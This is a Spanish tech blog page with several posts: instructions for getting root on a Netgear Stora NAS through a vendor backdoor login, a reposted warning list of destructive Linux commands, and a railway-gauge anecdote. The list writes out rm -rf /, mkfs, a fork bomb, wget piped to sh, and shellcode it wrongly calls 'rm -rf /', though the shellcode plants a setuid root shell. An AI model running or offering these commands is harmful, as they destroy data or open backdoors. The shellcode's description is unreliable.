La mejor solución en estos casos es reorganizar el cableado del rack.

Fuente: OpcionWeb

Compartir

Fuente: OpcionWeb

Compartir

La verdad es que el NAS no esta nada mal. Un sistema de almacenamiento en red pequeño y con gran capacidad. De serie trae un HDD de 1 TB y por el precio que tiene… Es como si comprases un HDD de 1TB y por un poquito mas comprases una carcasa externa.

Bueno el NAS en si esta bastante bien, con un interfaz diseñada para hacerlo todo en dos clicks y para usuarios inexpertos por lo que la gente de NetGear se lo ha currado bastante.

Si eres el poseedor de la Stora, seguramente querras ver que es lo que se cuece en su interior.

Primero unos enlaces de interes:
Hardware Hackers Unite
OpenStora

Obtener acceso root en Stora:
Para ello necesitaremos algo tan simple como el Product Code, que esta situado en la parte inferior del cubo, tambien puede ir alojado en la parte trasera cerca del conector RJ45, OJO no confundir con el S/N.

Material necesario:
Stora MS2110
Putty

Tan simple como eso… Bueno en un principio lo que vamos a hacer es configurar el Stora para usarlo de manera normal de forma que podamos administrar todo desde la pagina web, una vez hayamos realizado la preinstalacion empezaremos a hacerle “cosas malas”

La obtencion de Super Usuario es bastante sencilla dado que recientemente se ha encontrado un backdoor que permite obtener privilegios de Super Usuario sobre el NAS por lo que podremos hacer casi todo lo que se nos pase por la cabeza con el.

La explicacion asi como el desarollo es bastante sencillo, cuando configuramos el Stora usamos:

Nombre del Stora = Este sera el nombre que identifique el NAS dentro de la red
Nombre de Usuario = Nombre del administrador del dispositivo, pero sin derechos de Super Usuario
Password = Contraseña de acceso

Por algun motivo la gente de NetGear o bien la gente de HipServ decidieron que una puerta trasera basada en el Product Code + el Nombre de Usuario era una “buena” forma de contar con un acceso al dispositivo por aquello de por si las moscas.

Pues “por si las moscas” vamos a pensar que somos un poco mas listos de lo normal y obtenemos un acceso total al dispositivo.

Paso 1 .- Abrimos Putty y tecleamos la direccion IP del Stora y automaticamente nos saltara una shell SSH.

Paso 2.- Localizamos nuestro Product Code he introducimos en el campo del Putty la siguiente cadena (Sin las comillas) “USER_hipserv2_netgear_XXXX-XXXX-XXXX-XXX”
Donde:
USER = Nombre de usuario Web
XXXX-XXXX-XXXX-XXXX = Product Code

Paso 3 .- Introducimos nuestra contraseña de acceso en el entorno SSH.

Paso 4 .- Tecleamos “sudo -s” para obtener el acceso total

Y Voila!!!! ya tenemos acceso total… ¿ahora que podemos hacer con el? Principalmente os recomendaria buscar en Google, pero hay dos paginas que prometen mucho. Una de ellas es Hardware Hackers Unite y la otra es OpenStora. Esta ultima es un repositorio de un posible FirmWare alternativo y de codigo abierto.

Fuente: DesingHacks

Compartir

Como ya sabran el famoso comando rm -rf / ya dejo de ser una broma para los geeks que siempre recomendaban a los newbies como metodo para solucionar algun problema…

Ya no se puede efectuar destruir el sistema con este comando… lo dudan??? Pruebenlo y me comentan.

Pero aparte de este bendito comando quedan otros 6 mas… Aqui el artículo en un ingles basico:

Tomado de: http://www.junauza.com/2008/11/7-deadly-linux-commands.html

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:
rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";


This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:
mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:
: ( ) { : | : & } ; :

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:
any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:
wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:
mv /home/yourhomedirectory/* /dev/null

Compartir

Hace un par de dias mi profesor de Transmisión de Datos nos conto una historia que te hace pensar.

El ancho de vía en los ferrocarriles de Estados Unidos es de 4 pies y 8,5 pulgadas. Es un número bastante extraño. ¿Por qué se usa precisamente esa anchura? Pues porque así es como se hace en Gran Bretaña, y las vías norteamericanas fueron construidas por ingleses expatriados.¿Por qué los ingleses usaban ese ancho? Porque los primeros ferrocarriles fueron construidos por las mismas personas que habían construido los antiguos tranvías y ésa es la anchura que usaban.¿Y por qué ellos usaban tal cifra? Porque utilizaban las mismas plantillas y herramientas que se usaban para construir carruajes que usaban ese espacio entre ruedas.

Bien. ¿Y por qué los carruajes usaban esa extraña cifra de espacio entre ruedas? Porque si hubiesen usado otra cualquiera se hubiesen roto en algún viejo camino inglés, ya que esa es la distancia entre las roderas (surcos en la carretera por donde van las ruedas).

¿Quién construyó esos viejos caminos con roderas? Las primeras carreteras de larga distancia en Europa (e Inglaterra) fueron construidas por el Imperio Romano para sus legiones y han sido usadas desde entonces.

¿Y las roderas en dichos caminos? Los carros de guerra de las legiones romanas formaron las roderas iniciales, por ello todos tenían que imitar el ancho por miedo a destruir las ruedas de sus carruajes. Ya que los carros fueron hechos para (o por) el Imperio Romano, eran todos iguales en cuanto al espacio entre ruedas.

El ancho de vía estándar en Estados Unidos de 4 pies y 8,5 pulgadas deriva de las especificaciones originales para un carro de guerra romano.

Especificaciones y burocracias viven para siempre. Así pues, la próxima vez que te den unas especificaciones y te preguntes qué culo de caballo las parió, puede que estés exactamente en lo cierto, ya que los carros de guerra romanos se hicieron con el ancho justo para acomodar los traseros de dos caballos. Con lo que tenemos la respuesta a la pregunta original.

Y ahora otra vuelta de tuerca… Hay una interesante anécdota acerca de anchos de vía y los culos de caballo. Cuando vemos una Cohete Espacial en su rampa de lanzamiento, notaremos dos grandes cohetes unidos a los lados del principal tanque de combustible. Son los llamados SRB (Solid Rocket Boosters) y son constituidos por Thiokol en su factoría de Utah, EEUU.

Los ingenieros que los diseñaron habrían preferido hacerlos algo más anchos, pero los SRB’s han de ser enviados por tren desde la fábrica hasta el lugar de lanzamiento. La línea férrea pasa por un túnel en las montañas y los SRB’s tienen que pasar a través de ese túnel, el cual es ligeramente más ancho que el propio ancho de la vía, la cual es aproximadamente del ancho de dos culos de caballo.

Por lo tanto, el diseño de los cohetes impulsores del más avanzado sistema de transporte del mundo fue determinado hace dos mil años por el ancho del culo de un caballo.

Compartir